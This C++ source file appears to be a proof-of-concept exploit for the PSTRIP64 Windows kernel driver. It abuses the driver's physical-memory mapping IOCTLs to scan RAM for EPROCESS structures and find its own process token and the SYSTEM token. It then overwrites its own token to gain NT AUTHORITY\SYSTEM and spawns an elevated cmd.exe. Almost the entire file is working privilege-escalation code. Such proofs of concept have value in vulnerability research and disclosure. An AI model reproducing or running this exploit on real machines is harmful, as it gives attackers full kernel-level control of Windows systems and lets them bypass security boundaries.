#include <windows.h>
#include <iostream>
#include <cstdint>
#include "pstrip64_poc.h"


PVOID MapPhysicalMemory(HANDLE hDevice, DWORD64 physicalAddress, DWORD length, DWORD busNumber = 0, DWORD addressSpace = 0) {
    PSTRIP_MAP_REQUEST request = { 0 };
    request.BusNumber = busNumber;
    request.PhysicalAddress = physicalAddress;
    request.AddressSpace = addressSpace;
    request.Length = length;

    DWORD bytesReturned = 0;

    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_MAP_MEMORY,
        &request,              // Input buffer
        sizeof(request),       // Input buffer size (24 bytes)
        &request,              // Output buffer (driver writes back to the same buffer)
        sizeof(request),       // Output buffer size (must be >= 4 bytes)
        &bytesReturned,
        NULL
    );

    // If DeviceIoControl fails entirely (e.g., driver not loaded)
    if (!result) {
        printf("[-] DeviceIoControl completely failed for address 0x%016llX\n", physicalAddress);
        printf( "[-] GetLastError: %d", GetLastError());
        return nullptr;
    }

    // The driver returns specific debug error codes (68-76) in OutputResult
    // If it's one of these codes, the mapping failed internally in the driver.
    if (request.OutputResult >= 68 && request.OutputResult <= 76) {

        printf("[-] Driver Mapping Error for address 0x%016llX\n", physicalAddress);

        switch (request.OutputResult) {
            case 68:
                printf("[-] [68] Default Initialization State (Unknown Failure)\n");
                break;
            case 69:
                printf("[-] [69] Invalid Input Buffer Length (< 24 bytes)\n");
                break;
            case 70:
                printf("[-] [70] Invalid Output Buffer Length (< 4 bytes)\n");
                break;
            case 72:
                printf("[-] [72] ZwOpenSection failed (Cannot open \\Device\\PhysicalMemory)\n");
                break;
            case 73:
                printf("[-] [73] ObReferenceObjectByHandle failed (Invalid section handle)\n");
                break;
            case 74:
                printf("[-] [74] HalTranslateBusAddress failed (Invalid/Unbacked Physical Address)\n");
                break;
            case 75:
                printf("[-] [75] Address Translation Mismatch (Crossed Bus Boundary)\n");
            case 76:
                printf("[-] [76] ZwMapViewOfSection failed (Could not map into User Space)\n");
                break;
            default:
                printf("[-] [%d] Unknown Driver Error", request.OutputResult);
                break;
        }

        return nullptr; // Mapping failed
    }

    // If we reach here, OutputResult is not an error code, meaning it is the actual Virtual Address!
    // The driver writes the mapped virtual base address into the LowPart of the first QWORD
    return (PVOID)(ULONG_PTR)request.OutputResult;
}

void UnmapPhysicalMemory(HANDLE hDevice, PVOID virtualAddress) {
    PSTRIP_UNMAP_REQUEST request = { 0 };
    // The driver only reads the lower 32-bits for the unmap pointer address.
    request.VirtualAddressToUnmap = (DWORD)(ULONG_PTR)virtualAddress;

    DWORD bytesReturned = 0;
    DeviceIoControl(
        hDevice,
        IOCTL_UNMAP_MEMORY,
        &request,
        sizeof(request),
        &request,
        sizeof(request),
        &bytesReturned,
        NULL
    );
}

int main()
{
    // Open a handle to the driver
    HANDLE hDevice = CreateFileA(
        "\\\\.\\PSTRIP64",           // Symbolic link created by the driver
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device handle. Error: %d\n" ,GetLastError());
        return 1;
    }

    printf("[*] Successfully opened handle to PSTRIP64.\n");

    const DWORD STEP_SIZE = 0x200000;
    const DWORD64 START_ADDR = 0x10000000;
    const DWORD64 END_ADDR = 0x140000000;

    // Process targets (for Token Stealing)
    DWORD targetPid = GetCurrentProcessId();
    DWORD systemPid = 4;

    DWORD64 myTokenAddress = 0;
    DWORD64 systemToken = 0;

    printf("[*] Starting physical memory iteration to find 'Proc' tags\n");

    for (DWORD64 physAddr = START_ADDR; physAddr < END_ADDR; physAddr += STEP_SIZE) {

        PVOID mappedVirtAddr = MapPhysicalMemory(hDevice, physAddr, STEP_SIZE);

        if (mappedVirtAddr) {

            if (physAddr == 0xC0000000) {
                printf("[*] Skipping MMIO hardware region (3GB - 4GB)\n\n");
                physAddr = 0x100000000;
                continue;
            }

            __try {
                // Cast the mapped memory to a byte array
                unsigned char* blob = (unsigned char*)mappedVirtAddr;

                for (DWORD offset = 0; offset < STEP_SIZE; offset += 0x10) {

                    // 1. Check for the "Proc" pool tag (0x636F7250)
                    UINT32 procTag = *(UINT32*)(blob + offset + OFFSET_PROC_TAG);

                    if (procTag == 0x636F7250) {

                        DWORD possibleOffsets[] = { OFFSET_EPROCESS_1, OFFSET_EPROCESS_2 };

                        for (int i = 0; i < 2; i++) {
                            DWORD currentEprocessOffset = possibleOffsets[i];
                            unsigned char* eprocessBase = blob + offset + currentEprocessOffset;

                            // 2. Validate PriorityClass heuristics
                            BYTE priorityClass = *(BYTE*)(eprocessBase + OFFSET_PRIORITYCLASS);
                            if (priorityClass == 0x2) {

                                // 3. Validate ProcessLock heuristics
                                UINT32 processLock = *(UINT32*)(eprocessBase + OFFSET_PROCESSLOCK);
                                if (processLock == 0x0) {

                                    // 4. Validate ImageFileName heuristics
                                    char* imageName = (char*)(eprocessBase + OFFSET_IMAGEFILENAME);

                                    if (imageName[0] >= 0x20 && imageName[0] <= 0x7E) {

                                        // 5. Read the PID
                                        DWORD pid = *(DWORD*)(eprocessBase + OFFSET_UNIQUEPROCESSID);

                                        // 6. Token Stealing Logic
                                        if (pid == targetPid && myTokenAddress == 0) {
                                            printf("\t\t[*] Found current process! (storing address for later)\n");
                                            printf("\t\t[*] Process name : %.15s\n", imageName);
                                            printf("\t\t[*] Process PID  : %d\n\n", pid);
                                            myTokenAddress = physAddr + offset + currentEprocessOffset + OFFSET_TOKEN;
                                        }

                                        if (pid == systemPid && systemToken == 0) {
                                            printf("\t\t[*] Found privileged System token! (saving token value)\n");
                                            printf("\t\t[*] Process name : %.15s\n", imageName);
                                            printf("\t\t[*] Process PID  : %d\n\n", pid);
                                            systemToken = *(DWORD64*)(eprocessBase + OFFSET_TOKEN);
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            __except (EXCEPTION_EXECUTE_HANDLER) {
                // Safely catch any unreadable mapped physical memory pages
            }

            // Always unmap when done!
            UnmapPhysicalMemory(hDevice, mappedVirtAddr);

            // Optimization: Stop scanning early if we already found both tokens
            if (myTokenAddress != 0 && systemToken != 0) {
                printf("\n[*] Both tokens found! Stopping memory scan early.\n");
                break;
            }
        }
    }

     printf("[*] Iteration complete.\n");

    // Privilege Escalation Execution

    if (myTokenAddress != 0 && systemToken != 0) {
        printf("\n\t\t[!!!] Found both tokens! Ready to elevate privileges!\n");

        // Map the exact physical address of OUR process's token pointer
        DWORD64 pageAlignedMyTokenAddr = myTokenAddress & ~0xFFFULL;
        DWORD pageOffset = myTokenAddress & 0xFFF;

        // Note: For the overwrite, we only need to map 1 page (4KB)
        PVOID mappedTokenPage = MapPhysicalMemory(hDevice, pageAlignedMyTokenAddr, 0x1000);

        if (mappedTokenPage) {

            DWORD64* tokenPtrToOverwrite = (DWORD64*)((BYTE*)mappedTokenPage + pageOffset);

            printf("\t\t[+] Current Token Value : 0x%016llX\n", *tokenPtrToOverwrite);
            printf("\t\t[+] Target System Token : 0x%016llX\n", systemToken);

            // Overwrite our token!
            *tokenPtrToOverwrite = systemToken;

            printf("\t\t[+] Overwrite successful! New Token: 0x%016llX\n", *tokenPtrToOverwrite);

            UnmapPhysicalMemory(hDevice, mappedTokenPage);

            printf("\n[SUCCESS] You are now NT AUTHORITY\\SYSTEM!\n");

            // Spawns cmd.exe asynchronously
            STARTUPINFOA si = { sizeof(si) };
            PROCESS_INFORMATION pi;

            printf("[*] Spawning an independent elevated command prompt...\n");

            if (CreateProcessA(
                NULL,
                (LPSTR)"cmd.exe",
                NULL,
                NULL,
                FALSE,
                CREATE_NEW_CONSOLE,
                NULL,
                NULL,
                &si,
                &pi
            )) {
                CloseHandle(pi.hProcess);
                CloseHandle(pi.hThread);
            }
            else {
                printf("[-] Failed to spawn cmd.exe. Error: %d\n", GetLastError());
            }
        }
        else {
            printf("[-] Failed to map our token address for the overwrite!\n");
        }
    }
    else {
        printf("[-] Failed to find both the target process and the System process.\n");
        if (myTokenAddress == 0)
            printf("[-] Could not find target process PID: %d\n", targetPid);
        if (systemToken == 0)
            printf("[-] Could not find System process PID: %d\n", systemPid);
    }

    // Clean up
    CloseHandle(hDevice);
    return 0;
}